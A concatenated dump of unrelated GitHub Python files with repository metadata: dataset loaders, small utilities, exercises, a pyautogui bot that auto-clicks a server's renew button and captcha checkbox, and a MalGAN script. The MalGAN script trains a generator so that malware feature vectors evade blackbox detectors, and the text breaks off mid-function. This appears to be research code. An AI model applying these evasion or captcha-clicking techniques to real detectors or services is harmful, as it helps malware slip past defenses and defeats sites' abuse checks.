pd.read_csv(file, header=None)\n df.rename(columns={list(df)[-1]:'class'}, inplace=True)\n return df\ndataset_list.append(ConnectionistBenchSonar)\n\nclass DiabeticRetinopathyDebrecen(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/00329/messidor_features.arff\"\n name = \"diabetic_retinopathy_debrecen\"\n bibtex_label = \"antal2014ensemble\"\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n df = pd.read_csv(file, header=None, skiprows=list(range(24)))\n df.rename(columns={list(df)[-1]:'class'}, inplace=True)\n return df\ndataset_list.append(DiabeticRetinopathyDebrecen)\n\nclass Fertility(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/00244/fertility_Diagnosis.txt\"\n name = \"fertility\"\n bibtex_label = \"gil2012predicting\"\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n df = pd.read_csv(file, header=None)\n df.rename(columns={list(df)[-1]:'class'}, inplace=True)\n return df\ndataset_list.append(Fertility)\n\nclass HabermansSurvival(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/haberman/haberman.data\"\n name = \"habermans_survival\"\n bibtex_label = \"haberman1976generalized\"\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n df = pd.read_csv(file, header=None)\n df.rename(columns={list(df)[-1]:'class'}, inplace=True)\n return df\ndataset_list.append(HabermansSurvival)\n\nclass ImageSegmentation(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/image/segmentation.data\"\n name = \"image_segmentation\"\n bibtex_label = None\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n df = pd.read_csv(file, header=None, skiprows=list(range(4)))\n df.rename(columns={list(df)[0]:'class'}, inplace=True)\n return df\ndataset_list.append(ImageSegmentation)\n\nclass Ionosphere(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/ionosphere/ionosphere.data\"\n name = \"ionosphere\"\n bibtex_label = \"sigillito1989classification\"\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n df = pd.read_csv(file, header=None)\n df.rename(columns={list(df)[-1]:'class'}, inplace=True)\n return df\ndataset_list.append(Ionosphere)\n\nclass Iris(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data\"\n name = \"iris\"\n bibtex_label = \"fisher1936use\"\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n df = pd.read_csv(file, header=None, names=['sepal length', 'sepal width', 'petal length', 'petal width', 'class'])\n return df\ndataset_list.append(Iris)\n\nclass Parkinson(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/parkinsons/parkinsons.data\"\n name = \"parkinson\"\n bibtex_label = \"little2007exploiting\"\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n df = pd.read_csv(file, header=0)\n df.rename(columns={'status':'class'}, inplace=True)\n df.drop(columns='name', inplace=True)\n return df\ndataset_list.append(Parkinson)\n\nclass PlanningRelax(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/00230/plrx.txt\"\n name = \"planning_relax\"\n bibtex_label = \"bhatt2012planning\"\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n df = pd.read_csv(file, header=None, sep='\\t', )\n df.drop(columns=list(df)[-1], inplace=True)\n df.rename(columns={list(df)[-1]:'class'}, inplace=True)\n return df\ndataset_list.append(PlanningRelax)\n\nclass QSARBiodegradation(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/00254/biodeg.csv\"\n name = \"qsar_biodegradation\"\n bibtex_label = \"mansouri2013quantitative\"\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n df = pd.read_csv(file, header=None, sep=';')\n df.rename(columns={list(df)[-1]:'class'}, inplace=True)\n return df\ndataset_list.append(QSARBiodegradation)\n\nclass Seeds(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/00236/seeds_dataset.txt\"\n name = \"seeds\"\n bibtex_label = \"charytanowicz2010complete\"\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n df = pd.read_csv(file, header=None, delim_whitespace=True)\n df.rename(columns={list(df)[-1]:'class'}, inplace=True)\n return df\ndataset_list.append(Seeds)\n\nclass Spambase(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/spambase/spambase.data\"\n name = \"spambase\"\n bibtex_label = None\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n df = pd.read_csv(file, header=None)\n df.rename(columns={list(df)[-1]:'class'}, inplace=True)\n return df\ndataset_list.append(Spambase)\n\nclass VertebralColumn3C(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/00212/vertebral_column_data.zip\"\n name = \"vertebral_column_3c\"\n bibtex_label = \"berthonnaud2005analysis\"\n @classmethod\n def create_dataframe(cls):\n with ZipFile(cls.path_to_raw_file, 'r') as zipfile:\n with zipfile.open('column_3C.dat') as file:\n df = pd.read_csv(file, header=None, delim_whitespace=True)\n df.rename(columns={list(df)[-1]:'class'}, inplace=True)\n return df\ndataset_list.append(VertebralColumn3C)\n\nclass WallFollowingRobot24(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/00194/sensor_readings_24.data\"\n name = \"wall_following_robot_24\"\n bibtex_label = \"freire2009short\"\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n df = pd.read_csv(file, header=None)\n df.rename(columns={list(df)[-1]:'class'}, inplace=True)\n return df\ndataset_list.append(WallFollowingRobot24)\n\nclass Wine(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/wine/wine.data\"\n name = \"wine\"\n bibtex_label = \"aeberhard1994comparative\"\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n col_names = [\n 'class',\n 'Alcohol',\n 'Malic acid',\n 'Ash',\n 'Alcalinity of ash',\n 'Magnesium',\n 'Total phenols',\n 'Flavanoids',\n 'Nonflavanoid phenols',\n 'Proanthocyanins',\n 'Color intensity',\n 'Hue',\n 'OD280/OD315 of diluted wines',\n 'Proline'\n ]\n df = pd.read_csv(file, names=col_names, header=None)\n return df\ndataset_list.append(Wine)\n\nclass Yeast(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/yeast/yeast.data\"\n name = \"yeast\"\n bibtex_label = \"horton1996probabilistic\"\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n df = pd.read_csv(file, header=None, delim_whitespace=True)\n df.drop(columns=list(df)[0], inplace=True)\n df.rename(columns={list(df)[-1]:'class'}, inplace=True)\n return df\ndataset_list.append(Yeast)\n\n\nif __name__ == \"__main__\":\n for i, d in enumerate(load_datasets()):\n assert not np.isnan(d.data.sum())\n print(i, d.name, d.n_examples, d.n_classes)\n\n","repo_name":"jsleb333/paper-decision-trees-as-partitioning-machines","sub_path":"experiments/datasets/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":12307,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"11089356692","text":"import pytesseract\nimport pyautogui\nimport time\nfrom random import randint, randrange\ntry:\n from PIL import Image\nexcept ImportError:\n import Image\n\n#windows 220 zoom\n#X check box 598 - 647\n#Y check box 630 - 677\n\npytesseract.pytesseract.tesseract_cmd = r'F:\\Program Files\\Tesseract-OCR\\tesseract.exe'\n\n\ndef main():\n option = str(input(\"Do you want to start the program now?\"))\n if option in ['sim', 's', 'si', 'yes', 'y']:\n get_screenshot(0)\n time.sleep(2)\n current_value = ocr_core(r'C:\\Users\\Usuario\\PycharmProjects\\exercises\\minecraft-server\\imgs\\0.png')\n print(\"First value is %s\" % (current_value))\n\n while True:\n index = 1\n\n get_screenshot(index)\n time.sleep(2)\n current_value = ocr_core(r'C:\\Users\\Usuario\\PycharmProjects\\exercises\\minecraft-server\\imgs\\%s.png' % (str(index)))\n random_threshold = randint(5, 15)\n print(random_threshold)\n if current_value == str(random_threshold):\n #click renew\n print(\"clicking renew\")\n pyautogui.click(x = 362, y = 860)\n time.sleep(randrange(1, 5))\n\n randomx = randrange(598, 647)\n randomy = randrange(630, 677)\n #click captcha\n pyautogui.click(x = randomx, y = randomy)\n\n print(\"Value is %s \" % (current_value))\n time.sleep(60)\n\n\ndef ocr_core(filename):\n text = pytesseract.image_to_string(Image.open(filename))\n return text\n\n\ndef get_screenshot(index):\n screenshot = pyautogui.screenshot(region=(189, 840, 31, 31))\n screenshot.save(r'C:\\Users\\Usuario\\PycharmProjects\\exercises\\minecraft-server\\imgs\\%s.png' % (str(index)))\n\n\nmain()\n\n","repo_name":"Cyanbland/pythonAutoServerValidation","sub_path":"minecraft-server.py","file_name":"minecraft-server.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26940501881","text":"from Voice import speak\n\nvowel = False\neven = False\nbatts = 0\nparallelport = False\nfrk = False\ncar = False\nstrikes = 0\n\n\ndef batteries(text):\n global batts\n text = text.replace('zero', '0').replace('one', '1').replace('two', '2').replace('to', '2').replace('too', '2') \\\n .replace('three', '3').replace('four', '4').replace('five', '5').replace('six', '6').replace('for', '4')\n try:\n batts = int(text)\n except ValueError:\n speak(\"Try batteries again\")\n\n\ndef serial(text):\n global vowel\n global even\n text = text.replace('foul', 'vowel').replace('bowel', 'vowel').replace('dowel', 'vowel').replace('rod', 'odd')\n if 'vowel' in text:\n vowel = True\n\n if 'even' in text:\n even = True\n\n\ndef port():\n global parallelport\n parallelport = True\n\n\ndef indicators(text):\n global frk\n global car\n if 'freak' in text:\n frk = True\n if 'car' in text:\n car = True\n\n\ndef bomb_status():\n speak(f'Batteries {batts}...'\n f' Vowel {vowel}...'\n f' Even {even}...'\n f' Port {parallelport}...'\n f' Freak {frk}...'\n f' Car {car}...'\n f'Strikes {strikes}')\n\n\ndef addstrike():\n global strikes\n strikes += 1\n speak(f'Strike Added, {strikes} total')\n\n\ndef removestrike():\n global strikes\n strikes -= 1\n speak(f'Strike Removed, {strikes} total')\n\n\ndef resetsetup():\n global vowel\n global even\n global batts\n global parallelport\n global frk\n global car\n global strikes\n vowel = False\n even = False\n batts = 0\n parallelport = False\n frk = False\n car = False\n strikes = 0\n","repo_name":"DevenMarrero/KTANE-Bot","sub_path":"BombSetup.py","file_name":"BombSetup.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4708117256","text":"my_first_list = [ 7, 8, 9, 2, 3, 1, 4, 10, 5, 6]\n\nprint('Lista originala: ', my_first_list)\nprint('Lista ordonata ascendent: ',sorted(my_first_list))\n\norder_list= sorted(my_first_list)\ndescendent_list=order_list\ndescendent_list.reverse()\nmy_sliced_list_odd=my_first_list[1::1]\n\nprint('Lista ordonata descendent: ',descendent_list)\n\norder_list.reverse()\nmy_sliced_list_even=order_list[1::2]\nmy_sliced_list_odd=order_list[0::2]\nmultiply_list=order_list[2::3]\n\nprint('lista cu numerele pare din lista: ',my_sliced_list_even)\nprint('lista cu numerele impare din lista: ',my_sliced_list_odd)\nprint('lista cu numerele multiplu de 3 din lista: ',multiply_list)","repo_name":"toni1333/National-Python-11","sub_path":"Saptamana1/tema_1_liste.py","file_name":"tema_1_liste.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"21120329114","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nJinja2 Template Renderer.\n\"\"\"\n\nfrom ..rendering import BaseTemplateRenderer\n\nfrom jinja2 import Environment\nfrom jinja2 import FileSystemLoader\nfrom jinja2 import TemplateError\n\nfrom ..exceptions import TemplateRenderError\n\n\n# --------------------------------------------------------------------------- #\nclass Jinja2TemplateRenderer(BaseTemplateRenderer):\n \"\"\"\n Jinja2 Template Renderer.\n \"\"\"\n\n jinja2_env = None\n\n # ....................................................................... #\n def __init__(\n self,\n config,\n role_output_folder_path,\n path,\n settings,\n _jinja2_filesystem_loader_factory=FileSystemLoader,\n _jinja2_environment_factory=Environment\n ):\n\n BaseTemplateRenderer.__init__(\n self, config, role_output_folder_path, path, settings)\n\n # setup jinja2 file system template loading\n loader = _jinja2_filesystem_loader_factory(\n searchpath=self.config.templates_path)\n self.jinja2_env = _jinja2_environment_factory(loader=loader)\n\n # ....................................................................... #\n def get_rendered_config(self):\n \"\"\"\n Render and output config to file at `output_file_path`.\n\n :return: path to the the generated config file.\n :rype: str\n\n :raises:\n\n :class:`TemplateRenderError` for any template look up or render\n error.\n \"\"\"\n\n # retrieve the template and render it\n try:\n template = self.jinja2_env.get_template(self.path)\n output = template.render(**self.settings)\n except TemplateError as err:\n msg = 'Failed to render config template: %s\\n\\n%s' \\\n % (self.path, err.message)\n raise TemplateRenderError(msg)\n\n return output\n","repo_name":"goodwillcoding/configme","sub_path":"configme/renderers/jinja2_rendering.py","file_name":"jinja2_rendering.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"74284446544","text":"#!-*-coding:utf-8-*-\n# !@Date: 2018/10/2 14:28\n# !@Author: Liu Rui\n# !@github: bigfoolliu\n\n\n\"\"\"\n自定义的过滤器\n\"\"\"\nfrom flask import session, current_app, jsonify, g\n\nfrom info.utils.response_code import RET\n\n\ndef do_index_class(index):\n\t\"\"\"根据index的下标返回对应的class值\"\"\"\n\tif index == 0:\n\t\treturn 'first'\n\telif index == 1:\n\t\treturn 'second'\n\telif index == 2:\n\t\treturn 'third'\n\telse:\n\t\treturn ''\n\n\nimport functools\n\n\n# 获取当前登录用户信息的装饰器,使用其将所有需要验证用户登录的地方进行装饰\n# 解决代码重复率过高的问题\ndef user_login_data(view_func):\n\t\"\"\"\n\t:param view_func:\n\t:return:\n\t\"\"\"\n\t# 使用装饰器改变被装饰函数的一些特性,比如函数名称,为了解决该问题,使用functools模块解决该问题\n\t@functools.wraps(view_func)\n\tdef wrapper(*args, **kwargs):\n\t\t# 1. 实现装饰器的功能\n\n\t\t# 获取当前用户的信息\n\t\tuser_id = session.get('user_id')\n\t\tuser = None # type:User\n\n\t\t# 延迟导入,解决循环导入db的问题\n\t\tfrom info.models import User\n\t\tif user_id:\n\t\t\ttry:\n\t\t\t\tuser = User.query.get(user_id)\n\t\t\texcept Exception as e:\n\t\t\t\tcurrent_app.logger.error(e)\n\t\t\t\treturn jsonify(erron=RET.DBERR, errmsg='查询用户信息异常')\n\n\t\t# 将用户保存到flask的g对象中,从而在全局都可以进行访问\n\t\tg.user = user\n\n\t\t# 2. 实现被装饰函数的原有功能\n\t\tresult = view_func(*args, **kwargs)\n\t\treturn result\n\n\treturn wrapper\n\n","repo_name":"bigfoolliu/Information","sub_path":"info/utils/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"6920402845","text":"#!/usr/bin/env python3\n\nimport lib.utils\nimport lib.getch\nfrom lib.Game import Game\nimport menu\nimport sys\n\n\nglobal FIRSTRUN\n\nFIRSTRUN = True\n\n# def refreshHandler():\n #Kill keyboard/mouse\n # KeyboardLocker.turn_off()\n\n\nMenu = menu.Menu\nutils = lib.utils\nGame = Game()\n\n# main = Menu(title = \"Main Menu\", prompt = \">\", refresh = refreshHandler)\nmain = Menu(title = \"Main Menu\", prompt = \">\")\n\nmain.set_options([\n (\"Begin Game\", Game.run),\n (\"Initialize Game\", Game.initializeFolders),\n (\"Exit\", main.close)\n])\n\n# sub = Menu(title = \"Submenu\")\n# sub.set_options([\n# (\"Return to main menu\", sub.close)\n# ])\n\n\nmain.open()\n","repo_name":"LoopyToktyn/slattie_consoleVid","sub_path":"src/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14456109664","text":"import pickle\nimport streamlit as st\nfrom sklearn.cluster import KMeans\nimport pandas as pd\nfrom sklearn.preprocessing import LabelEncoder\nlabel_enc = LabelEncoder()\n\nmodel=pickle.load(open('kmeanmodel.pkl','rb')) \n\n\n# front end elements of the web page \nhtml_temp = \"\"\" \n
    \n

    Image Description Text Clustering

    \n
    \n

    This web page displays clusters of product image description of 45187 amazon products.\nThe clustering is based on the similarity of the product image description.\n

    \n

    Below are the 5 different clusters of the products

    \n\"\"\" \nst.markdown(html_temp, unsafe_allow_html = True) \n\nfor cluster in range(1,6):\n st.text('Cluster ' + str(cluster))\n data = pd.read_csv('Cluster '+str(cluster)+'.csv')\n st.dataframe(data[['categories','image_description']])\n","repo_name":"Nobert-Ok/Image_description_Clustering","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36714137985","text":"#!/bin/python3\n\n#\n# Url: https://www.hackerrank.com/challenges/validate-a-roman-number/problem\n#\n# Title: Validating Roman Numerals\n#\n# Arquivo de Teste\n#\n\nimport re\n\n# input_num_roman = input()\n# input_upper_case = input_num_roman.upper()\ninput_num_roman = 'CDXxi'\ninput_upper_case = input_num_roman.upper()\n\nthousand = \"(?:(M){0,3})?\"\nhundred = \"(?:(D?(C){0,3})|(CM)|(CD))?\"\nten = \"(?:(L?(X){0,3})|(XC)|(XL))?\"\nunit = \"(?:(V?(I){0,3})|(IX)|(IV))?\"\nregex = thousand + hundred + ten + unit\nprint(regex)\nregex_pattern = r\"^\" + regex + \"$\"\nprint(regex_pattern)\nresult = str(bool(re.match(regex_pattern, input_upper_case)))\nprint(result)\n","repo_name":"LuanaSchlei/HackerRank_Python","sub_path":"validate-a-roman-number/validate-a-roman-number-teste.py","file_name":"validate-a-roman-number-teste.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38122226490","text":"from typing import List\ndef partition(s: str) -> List[List[str]]:\n res, part = [], []\n\n def dfs(i):\n if i >= len(s):\n res.append(part.copy())\n return\n for j in range(i, len(s)):\n if isPali(s, i, j):\n part.append(s[i : j + 1])\n dfs(j + 1)\n part.pop()\n\n dfs(0)\n return res\n\ndef isPali(s, l, r):\n while l < r:\n if s[l] != s[r]:\n return False\n l, r = l + 1, r - 1\n return True\n\ndef test():\n test_cases = [\n {\n \"name\": \"example 1\",\n \"input\": \"aab\",\n \"expected\": [[\"a\",\"a\",\"b\"],[\"aa\",\"b\"]]\n },\n {\n \"name\": \"example 2\",\n \"input\": \"a\",\n \"expected\": [[\"a\"]]\n }\n ]\n for test_case in test_cases:\n assert test_case[\"expected\"] == partition(test_case[\"input\"]), test_case[\"name\"]\n\nif __name__ == \"__main__\":\n from datetime import datetime\n start_time = datetime.now()\n test()\n print(\"Everything passed\")\n end_time = datetime.now()\n print('Duration: {}'.format(end_time - start_time))\n","repo_name":"0xspringtime/leetcode","sub_path":"0131.py","file_name":"0131.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"73084926227","text":"import torch\nimport numpy as np\nfrom sklearn import linear_model, tree\nfrom sklearn.neural_network import MLPClassifier\nfrom torch import nn, optim\nfrom torch.autograd.variable import Variable\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.svm import SVC, LinearSVC\nfrom matplotlib import pyplot as plt\nfrom sklearn.model_selection import train_test_split\n\nloss = None\nd_loss_arr = []\ng_loss_arr = []\n\n\nclass DiscriminatorNet(torch.nn.Module):\n \"\"\"\n the discriminator that contains 2 hidden layer\n this networks works to decrease loss and learn what the adversarial examples are\n \"\"\"\n def __init__(self, sigmoid):\n super(DiscriminatorNet, self).__init__()\n n_features = 128\n n_out = 1\n if sigmoid:\n self.hidden0 = nn.Sequential(\n nn.Linear(n_features, 256)\n\n )\n self.hidden1 = nn.Sequential(\n nn.Linear(256, 512)\n )\n # self.hidden2= nn.Sequential(\n # nn.Linear(512, 512)\n # )\n self.out = nn.Sequential(\n torch.nn.Linear(256, n_out),\n nn.Sigmoid()\n )\n else:\n self.hidden0 = nn.Sequential(\n nn.Linear(n_features, 256)\n )\n self.hidden1 = nn.Sequential(\n nn.Linear(256, 512)\n )\n # self.hidden2= nn.Sequential(\n # nn.Linear(512, 512)\n # )\n self.out = nn.Sequential(\n torch.nn.Linear(512, n_out),\n torch.nn.Tanh()\n )\n\n def forward(self, x):\n x = self.hidden0(x)\n x = self.hidden1(x)\n # x= self.hidden2(x)\n x = self.out(x)\n return x\n\n\nclass GeneratorNet(torch.nn.Module):\n \"\"\"\n a neural network with two hidden layers\n this network is used to create adversarial examples\n \"\"\"\n def __init__(self, sigmoid):\n super(GeneratorNet, self).__init__()\n n_features = 148\n n_out = 128\n if sigmoid:\n self.hidden0 = nn.Sequential(\n nn.Linear(n_features, 256),\n )\n self.hidden1 = nn.Sequential(\n nn.Linear(256, 512)\n )\n # self.hidden2= nn.Sequential(\n # nn.Linear(512, 512)\n # )\n self.out = nn.Sequential(\n nn.Linear(512, n_out),\n torch.nn.Sigmoid()\n )\n else:\n self.hidden0 = nn.Sequential(\n nn.Linear(n_features, 256)\n )\n self.hidden1 = nn.Sequential(\n nn.Linear(256, 512)\n )\n # self.hidden2= nn.Sequential(\n # nn.Linear(512, 512)\n # )\n self.out = nn.Sequential(\n nn.Linear(512, n_out),\n torch.nn.Tanh()\n )\n\n def forward(self, x):\n x = self.hidden0(x)\n x = self.hidden1(x)\n # x = self.hidden2(x)\n x = self.out(x)\n return x\n\n\ndef real_data_target(size):\n \"\"\"\n creates a tensor of the expected labels of real data\n :param size:\n :return:\n \"\"\"\n data = Variable(torch.ones(size, 1))\n if torch.cuda.is_available(): return data.cuda()\n return data\n\n\ndef fake_data_target(size):\n \"\"\"\n creates a tensor of the expcted labels of fake data\n :param size:\n :return:\n \"\"\"\n data = Variable(torch.zeros(size, 1))\n if torch.cuda.is_available(): return data.cuda()\n return data\n\n\ndef train_discriminator(optimizer, real_data, real_data_labels, fake_data, fake_data_labels):\n \"\"\"\n trains the discriminator or real data and fake data\n and computes a loss for each of them\n \"\"\"\n global discriminator, generator\n optimizer.zero_grad()\n prediction_real = discriminator(real_data)\n error_real = nn.MSELoss()(prediction_real,real_data_labels)\n error_real.backward()\n prediction_fake = discriminator(fake_data)\n error_fake = nn.MSELoss()(prediction_fake, fake_data_labels)\n error_fake.backward()\n optimizer.step()\n return error_real + error_fake, prediction_real, prediction_fake\n\n\ndef train_generator(optimizer, fake_data, fake_data_labels):\n \"\"\"\n trains the gnerator giving the discriminator fake data and computes tje loss\n \"\"\"\n global discriminator, loss, generator\n optimizer.zero_grad()\n prediction = discriminator(fake_data)\n error = nn.MSELoss()(prediction, fake_data_labels)\n error.backward()\n optimizer.step()\n return error\n\n\ndef load_data():\n \"\"\"\n loads the data set\n :return:\n \"\"\"\n data_set = \"data/data1.npz\"\n data = np.load(data_set)\n xmal, ymal, xben, yben = data['xmal'], data['ymal'], data['xben'], data['yben']\n return (xmal, ymal), (xben, yben)\n\n\ndef train(num_epochs, blackbox, generator, d_optimizer, g_optimizer, train_tpr, test_tpr, sigmoid, isFirst=True):\n \"\"\"\n trains MalGAN by creating a blackbox and feeding it the data then teaching a generator to make fake examples\n :param num_epochs:\n :param blackbox:\n :param generator:\n :param d_optimizer:\n :param g_optimizer:\n :param train_tpr:\n :param test_tpr:\n :param sigmoid:\n :param isFirst:\n :return:\n \"\"\"\n global g_loss_arr, d_loss_arr\n if isFirst:\n test_size = .2\n else:\n test_size = .5\n (mal, mal_label), (ben, ben_label) = load_data()\n x_train_mal, x_test_mal, y_train_mal, y_test_mal = train_test_split(mal, mal_label, test_size=test_size)\n x_train_ben, x_test_ben, y_train_ben, y_test_ben = train_test_split(ben, ben_label, test_size=test_size)\n\n blackbox_x_train_mal, blackbox_y_train_mal, blackbox_x_train_ben, blackbox_y_train_ben = \\\n x_train_mal, y_train_mal, x_train_ben, y_train_ben\n\n if isFirst:\n blackbox.fit(np.concatenate([mal, ben]), np.concatenate([mal_label, ben_label]))\n\n ytrain_ben_blackbox = blackbox.predict(blackbox_x_train_ben)\n train_TPR = blackbox.score(blackbox_x_train_mal, blackbox_y_train_mal)\n test_TPR = blackbox.score(x_test_mal, y_test_mal)\n print(train_TPR, test_TPR)\n train_tpr.append(train_TPR)\n test_tpr.append(test_TPR)\n batch_size = 64\n\n for epoch in range(num_epochs):\n\n for step in range(x_train_mal.shape[0] // batch_size):\n d_loss_batches = []\n g_loss_batches = []\n\n # generate batch of malware\n idm = np.random.randint(0, x_train_mal.shape[0], batch_size)\n if sigmoid:\n noise = np.random.uniform(0, 1, (batch_size, 20))\n else:\n noise = np.random.uniform(-1, 1, (batch_size, 20))\n xmal_batch = x_train_mal[idm]\n\n # generate batch of benign\n idb = np.random.randint(0, xmal_batch.shape[0], batch_size)\n xben_batch = x_train_ben[idb]\n yben_batch = ytrain_ben_blackbox[idb]\n\n # generate MALWARE examples\n combined = np.concatenate([xmal_batch, noise], axis=1)\n fake_mal_data = generator(torch.from_numpy(combined).float())\n\n # change the labels based on which activation function is being used\n if sigmoid:\n ymal_batch = blackbox.predict(np.ones(fake_mal_data.shape) * (np.asarray(fake_mal_data.detach()) > 0.5))\n else:\n ymal_batch = blackbox.predict(np.ones(fake_mal_data.shape) * (np.asarray(fake_mal_data.detach()) > 0))\n\n xben_batch = torch.from_numpy(xben_batch).float()\n yben_batch = torch.from_numpy(yben_batch).float()\n yben_batch = yben_batch.unsqueeze(1)\n ymal_batch = torch.from_numpy(ymal_batch).float()\n ymal_batch = ymal_batch.unsqueeze(1)\n\n # train discriminator\n d_loss, d_pred_real, d_pred_fake = train_discriminator(d_optimizer, xben_batch, yben_batch,\n fake_mal_data, ymal_batch)\n\n d_loss_batches.append(d_loss.item())\n\n # train generator on noise\n g_loss = train_generator(g_optimizer, torch.from_numpy(xmal_batch).float(), yben_batch)\n g_loss_batches.append(g_loss.item())\n\n # add loss to array\n d_loss_arr.append(min(d_loss_batches))\n g_loss_arr.append(min(g_loss_batches))\n\n # train true positive rate\n if sigmoid:\n noise = np.random.uniform(0, 1, (x_train_mal.shape[0], 20))\n else:\n noise = np.random.uniform(-1, 1, (x_train_mal.shape[0], 20))\n\n combined = np.concatenate([x_train_mal, noise], axis=1)\n gen_examples = generator(torch.from_numpy(combined).float())\n\n if sigmoid:\n train_TPR = blackbox.score(np.ones(gen_examples.shape) * (np.asarray(gen_examples.detach()) > 0.5),\n y_train_mal)\n else:\n train_TPR = blackbox.score(np.ones(gen_examples.shape) * (np.asarray(gen_examples.detach()) > 0),\n y_train_mal)\n\n # test true positive rate\n if sigmoid:\n noise = np.random.uniform(0, 1, (x_test_mal.shape[0], 20))\n else:\n noise = np.random.uniform(-1, 1, (x_test_mal.shape[0], 20))\n\n combined = np.concatenate([x_test_mal, noise], axis=1)\n gen_examples = generator(torch.from_numpy(combined).float())\n\n if sigmoid:\n test_TPR = blackbox.score(np.ones(gen_examples.shape) * (np.asarray(gen_examples.detach()) > 0.5),\n y_test_mal)\n else:\n test_TPR = blackbox.score(np.ones(gen_examples.shape) * (np.asarray(gen_examples.detach()) > 0),\n y_test_mal)\n\n print(train_TPR, \" \", test_TPR)\n\n train_tpr.append(train_TPR)\n test_tpr.append(test_TPR)\n\n\ndef retrain(blackbox, generator, sigmoid):\n \"\"\"\n retrain the blackbox after the malgan has beeen trained\n :param blackbox:\n :param generator:\n :param sigmoid:\n :return:\n \"\"\"\n (mal, mal_label), (ben, ben_label) = load_data()\n x_train_mal, x_test_mal, y_train_mal, y_test_mal = train_test_split(mal, mal_label, test_size=0.20)\n x_train_ben, x_test_ben, y_train_ben, y_test_ben = train_test_split(ben, ben_label, test_size=0.20)\n\n # Generate Train Adversarial Examples\n if sigmoid:\n noise = np.random.uniform(0, 1, (x_train_mal.shape[0], 20))\n else:\n noise = np.random.uniform(-1, 1, (x_train_mal.shape[0], 20))\n combined = np.concatenate([x_train_mal, noise], axis=1)\n gen_examples = generator(torch.from_numpy(combined).float())\n\n gen_examples_np =np.asarray(gen_examples.detach())\n\n blackbox.fit(np.concatenate([x_train_mal, x_train_ben, gen_examples_np]),\n np.concatenate([y_train_mal, y_train_ben, np.zeros(gen_examples.shape[0])]))\n\n # training true positive rate\n train_TPR = blackbox.score(np.asarray(gen_examples.detach()), y_train_mal)\n\n # test true positive rate\n if sigmoid:\n noise = np.random.uniform(0, 1, (x_test_mal.shape[0], 20))\n else:\n noise = np.random.uniform(-1, 1, (x_test_mal.shape[0], 20))\n\n combined = np.concatenate([x_test_mal, noise], axis=1)\n gen_examples = generator(torch.from_numpy(combined).float())\n\n if sigmoid:\n gen_examples = np.ones(gen_examples.shape) * (np.asarray(gen_examples.detach()) > 0.5)\n else:\n gen_examples = np.ones(gen_examples.shape) * (np.asarray(gen_examples.detach()) > 0)\n\n test_TPR = blackbox.score(gen_examples, y_test_mal)\n\n print('\\n---TPR after the black-box detector is retrained(Before Retraining MalGAN).')\n print('\\nTrain_TPR: {0}, Test_TPR: {1}'.format(train_TPR, test_TPR))\n\n\ndef main():\n global discriminator, generator, loss\n 